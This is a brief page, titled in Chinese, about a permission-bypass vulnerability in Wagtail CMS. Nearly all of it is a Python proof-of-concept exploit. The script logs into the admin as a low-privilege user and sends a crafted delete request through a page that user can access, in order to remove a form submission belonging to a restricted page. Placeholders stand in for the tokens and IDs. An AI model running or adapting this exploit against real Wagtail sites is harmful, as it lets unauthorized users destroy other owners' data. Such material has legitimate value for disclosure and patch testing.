CVE-2026-44199 Wagtail CMS权限绕过漏洞

import requests # Configuration target_url = "http://example.com" login_url = f"{target_url}/admin/login/" delete_endpoint = f"{target_url}/admin/pages/<accessible_page_id>/submissions/delete/" username = "limited_user" password = "user_password" # The ID of the submission to delete (belonging to a restricted page) target_submission_id = 999 session = requests.Session() # 1. Authenticate to get session login_data = { "username": username, "password": password, "csrfmiddlewaretoken": "<get_from_login_page>", "next": "/admin/" } session.post(login_url, data=login_data) # 2. Craft the exploit payload # Attacker sends a request to delete submission ID 999 via a page they have access to payload = { "action": "delete", "selected_submission": target_submission_id, "csrfmiddlewaretoken": "<get_valid_token>" } # 3. Send the exploit request response = session.post(delete_endpoint, data=payload) if response.status_code == 200: print(f"[+] Successfully deleted submission ID: {target_submission_id}") else: print(f"[-] Exploit failed. Status: {response.status_code}")